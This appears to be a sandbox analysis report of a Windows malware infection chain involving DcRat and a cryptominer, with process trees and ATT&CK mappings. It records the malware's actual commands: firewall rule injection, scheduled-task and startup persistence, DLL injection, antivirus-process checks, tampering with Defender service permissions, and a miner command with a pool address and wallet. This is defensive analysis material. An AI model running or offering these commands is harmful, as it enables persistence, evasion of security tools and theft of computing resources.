PID 812 wrote to memory of 3560	812	31839b57a4f11171d6abc8bbc4451ee4.exe	108
PID 812 wrote to memory of 3560	812	31839b57a4f11171d6abc8bbc4451ee4.exe	108
PID 3560 wrote to memory of 4836	3560	cmd.exe	110
PID 3560 wrote to memory of 4836	3560	cmd.exe	110
PID 812 wrote to memory of 3696	812	31839b57a4f11171d6abc8bbc4451ee4.exe	113
PID 812 wrote to memory of 3696	812	31839b57a4f11171d6abc8bbc4451ee4.exe	113
PID 812 wrote to memory of 3696	812	31839b57a4f11171d6abc8bbc4451ee4.exe	113
PID 812 wrote to memory of 2180	812	31839b57a4f11171d6abc8bbc4451ee4.exe	149
PID 812 wrote to memory of 2180	812	31839b57a4f11171d6abc8bbc4451ee4.exe	149
PID 812 wrote to memory of 2180	812	31839b57a4f11171d6abc8bbc4451ee4.exe	149
PID 812 wrote to memory of 4484	812	31839b57a4f11171d6abc8bbc4451ee4.exe	116
PID 812 wrote to memory of 4484	812	31839b57a4f11171d6abc8bbc4451ee4.exe	116
PID 812 wrote to memory of 4484	812	31839b57a4f11171d6abc8bbc4451ee4.exe	116
PID 4484 wrote to memory of 2736	4484	csrss.exe	117
PID 4484 wrote to memory of 2736	4484	csrss.exe	117
PID 4484 wrote to memory of 2736	4484	csrss.exe	117
PID 4484 wrote to memory of 3880	4484	csrss.exe	121
PID 4484 wrote to memory of 3880	4484	csrss.exe	121
PID 4484 wrote to memory of 3880	4484	csrss.exe	121
PID 4484 wrote to memory of 1504	4484	csrss.exe	141
PID 4484 wrote to memory of 1504	4484	csrss.exe	141
PID 4484 wrote to memory of 1504	4484	csrss.exe	141
PID 4484 wrote to memory of 5056	4484	csrss.exe	128
PID 4484 wrote to memory of 5056	4484	csrss.exe	128
PID 392 wrote to memory of 3860	392	InstallSetup7.exe	129
PID 392 wrote to memory of 3860	392	InstallSetup7.exe	129
PID 392 wrote to memory of 3860	392	InstallSetup7.exe	129
PID 3288 wrote to memory of 5040	3288	windefender.exe	132
PID 3288 wrote to memory of 5040	3288	windefender.exe	132
PID 3288 wrote to memory of 5040	3288	windefender.exe	132
PID 5040 wrote to memory of 1932	5040	cmd.exe	135
PID 5040 wrote to memory of 1932	5040	cmd.exe	135
PID 5040 wrote to memory of 1932	5040	cmd.exe	135
PID 3352 wrote to memory of 3708	3352	Explorer.EXE	133
PID 3352 wrote to memory of 3708	3352	Explorer.EXE	133

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of UnmapMainImage
- Suspicious use of WriteProcessMemory
PID:3352
- C:\Users\Admin\AppData\Local\Temp\file.exe
  "C:\Users\Admin\AppData\Local\Temp\file.exe"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:516
- - C:\Users\Admin\AppData\Local\Temp\InstallSetup7.exe
    "C:\Users\Admin\AppData\Local\Temp\InstallSetup7.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:392
  - - C:\Users\Admin\AppData\Local\Temp\BroomSetup.exe
      C:\Users\Admin\AppData\Local\Temp\BroomSetup.exe
      4⤵
      Executes dropped EXE
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:2528
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Temp\Task.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3368
  - - C:\Users\Admin\AppData\Local\Temp\nsg5779.tmp
      C:\Users\Admin\AppData\Local\Temp\nsg5779.tmp
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Loads dropped DLL
      Checks processor information in registry
      PID:3860
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3860 -s 2440
        5⤵
        Program crash
        
        PID:5004
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\nsg5779.tmp" & del "C:\ProgramData\*.dll"" & exit
        5⤵
        
        PID:3776
      - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 5
        6⤵
        Delays execution with timeout.exe
        
        PID:1320
- - C:\Users\Admin\AppData\Local\Temp\toolspub1.exe
    "C:\Users\Admin\AppData\Local\Temp\toolspub1.exe"
    3⤵
    - Executes dropped EXE
    - Checks SCSI registry key(s)
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    PID:2724
- - C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe
    "C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3944
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4620
  - - C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe
      "C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"
      4⤵
      DcRat
      Executes dropped EXE
      Adds Run key to start application
      Checks for VirtualBox DLLs, possible anti-VM trick
      Drops file in Windows directory
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:812
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4908
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3560
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        
        PID:4836
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        Suspicious use of AdjustPrivilegeToken
        
        PID:3696
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        
        PID:2180
    - - C:\Windows\rss\csrss.exe
        
        C:\Windows\rss\csrss.exe
        5⤵
        Executes dropped EXE
        Adds Run key to start application
        Manipulates WinMonFS driver.
        Drops file in Windows directory
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4484
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        Suspicious use of AdjustPrivilegeToken
        
        PID:2736
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        6⤵
        DcRat
        Creates scheduled task(s)
        
        PID:952
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        Suspicious use of AdjustPrivilegeToken
        
        PID:3880
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /delete /tn ScheduledUpdate /f
        6⤵
        
        PID:1484
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        
        PID:1504
      - C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
        6⤵
        Executes dropped EXE
        
        PID:5056
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        6⤵
        DcRat
        Creates scheduled task(s)
        
        PID:4584
      - C:\Windows\windefender.exe
        
        "C:\Windows\windefender.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:3288
- - C:\Users\Admin\AppData\Local\Temp\rty25.exe
    "C:\Users\Admin\AppData\Local\Temp\rty25.exe"
    3⤵
    - Executes dropped EXE
    PID:816
- C:\Users\Admin\AppData\Local\Temp\B3A0.exe
  C:\Users\Admin\AppData\Local\Temp\B3A0.exe
  2⤵
  - Executes dropped EXE
  - Checks SCSI registry key(s)
  - Suspicious behavior: MapViewOfSection
  PID:3708
- C:\Users\Admin\AppData\Local\Temp\C17C.exe
  C:\Users\Admin\AppData\Local\Temp\C17C.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:1092
- C:\Users\Admin\AppData\Local\Temp\D44A.exe
  C:\Users\Admin\AppData\Local\Temp\D44A.exe
  2⤵
  - Executes dropped EXE
  PID:3092
- C:\Users\Admin\AppData\Local\Temp\EAA1.exe
  C:\Users\Admin\AppData\Local\Temp\EAA1.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:4952
- C:\Users\Admin\AppData\Local\Temp\C5D0.exe
  C:\Users\Admin\AppData\Local\Temp\C5D0.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  PID:2036
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /k cmd < Butt & exit
    3⤵
    PID:2960
  - - C:\Windows\SysWOW64\cmd.exe
      cmd
      4⤵
      PID:3828
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:3936
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe"
        5⤵
        
        PID:5064
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:2824
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "wrsa.exe"
        5⤵
        
        PID:1376
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c mkdir 19455
        5⤵
        
        PID:4844
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b Promotions + Forwarding + Enrollment + Dive + Screensavers + Gender + Orgasm 19455\Looksmart.pif
        5⤵
        
        PID:1220
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b Beds + Hardcore + Cheese + Nancy + Violin + Refused + Wells + Comment + Pts + Money + Rebel + Socks + Ranging + Nj + Travel + Menus + Washing + Crops + Mail + Clone + Reflected + Workstation + Malaysia + Accessory 19455\X
        5⤵
        
        PID:2736
    - - C:\Windows\SysWOW64\PING.EXE
        
        ping -n 5 localhost
        5⤵
        Runs ping.exe
        
        PID:4240
    - - C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\19455\Looksmart.pif
        
        19455\Looksmart.pif 19455\X
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:1060
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c schtasks.exe /create /tn "Techrepublic" /tr "wscript 'C:\Users\Admin\AppData\Local\TraceGuard Systems\SmartTrace.js'" /sc minute /mo 3 /F
  2⤵
  PID:3564
- C:\Windows\SYSTEM32\cmd.exe
  cmd /k echo [InternetShortcut] > "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SmartTrace.url" & echo URL="C:\Users\Admin\AppData\Local\TraceGuard Systems\SmartTrace.js" >> "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SmartTrace.url" & exit
  2⤵
  - Drops startup file
  PID:4504
- C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\19455\Looksmart.pif
  C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\19455\Looksmart.pif
  2⤵
  - Executes dropped EXE
  PID:3328
- - C:\Windows\system32\svchost.exe
    svchost.exe
    3⤵
    PID:4996
- C:\Users\Admin\AppData\Local\Temp\2EAC.exe
  C:\Users\Admin\AppData\Local\Temp\2EAC.exe
  2⤵
  - Executes dropped EXE
  PID:464
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
    C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
    3⤵
    PID:8
- C:\Users\Admin\AppData\Local\Temp\31AB.exe
  C:\Users\Admin\AppData\Local\Temp\31AB.exe
  2⤵
  - Executes dropped EXE
  PID:4036
- - C:\Users\Admin\AppData\Local\Temp\31AB.exe
    C:\Users\Admin\AppData\Local\Temp\31AB.exe
    3⤵
    PID:4320
- C:\Users\Admin\AppData\Local\Temp\369E.exe
  C:\Users\Admin\AppData\Local\Temp\369E.exe
  2⤵
  - Drops startup file
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetWindowsHookEx
  PID:1180
- - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
    "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 49t6urp39F9WQ7iprgWtoA7Xv6iYT8krNCAqo4qJXsrcP2CwHMcQzEsEZJtJLMsdQwSboNLC6a6AsgbKkrHqj6AGJyssTjJ -p x -k -v=0 --donate-level=1 -t 4
    3⤵
    PID:2212
- - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
    "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 49t6urp39F9WQ7iprgWtoA7Xv6iYT8krNCAqo4qJXsrcP2CwHMcQzEsEZJtJLMsdQwSboNLC6a6AsgbKkrHqj6AGJyssTjJ -p x -k -v=0 --donate-level=1 -t 4
    3⤵
    PID:2648

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /tn "MalayamaraUpdate" /tr "'C:\Users\Admin\AppData\Local\Temp\Updater.exe'" /sc minute /mo 30 /F
1⤵
- DcRat
- Creates scheduled task(s)
PID:3860

C:\Windows\SysWOW64\chcp.com
chcp 1251
1⤵
PID:4208

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
1⤵
- Suspicious use of WriteProcessMemory
PID:5040
- C:\Windows\SysWOW64\sc.exe
  sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
  2⤵
  - Launches sc.exe
  - Suspicious use of AdjustPrivilegeToken
  PID:1932

C:\Windows\windefender.exe
C:\Windows\windefender.exe
1⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:1496

C:\Users\Admin\AppData\Local\Temp\C17C.exe
C:\Users\Admin\AppData\Local\Temp\C17C.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
PID:2320
- C:\Windows\SysWOW64\icacls.exe
  icacls "C:\Users\Admin\AppData\Local\d5473b6a-447f-4deb-9b2e-3cd4d9e26941" /deny *S-1-1-0:(OI)(CI)(DE,DC)
  2⤵
  - Modifies file permissions
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1504
- C:\Users\Admin\AppData\Local\Temp\C17C.exe
  "C:\Users\Admin\AppData\Local\Temp\C17C.exe" --Admin IsNotAutoStart IsNotTask
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:2420
- - C:\Users\Admin\AppData\Local\Temp\C17C.exe
    "C:\Users\Admin\AppData\Local\Temp\C17C.exe" --Admin IsNotAutoStart IsNotTask
    3⤵
    - Executes dropped EXE
    PID:3724

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3724 -ip 3724
1⤵
PID:860

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3724 -s 568
1⤵
- Program crash
PID:380

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 3860 -ip 3860
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2180

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4868

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Techrepublic" /tr "wscript 'C:\Users\Admin\AppData\Local\TraceGuard Systems\SmartTrace.js'" /sc minute /mo 3 /F
1⤵
- DcRat
- Creates scheduled task(s)
PID:2152

C:\Windows\explorer.exe
explorer.exe
1⤵
- Modifies Installed Components in the registry
- Enumerates connected drives
- Modifies registry class
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2412

C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
1⤵
PID:5080

C:\Windows\explorer.exe
explorer.exe
1⤵
PID:3676

C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
1⤵
PID:2176

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

Remote System Discovery

T1018

System Information Discovery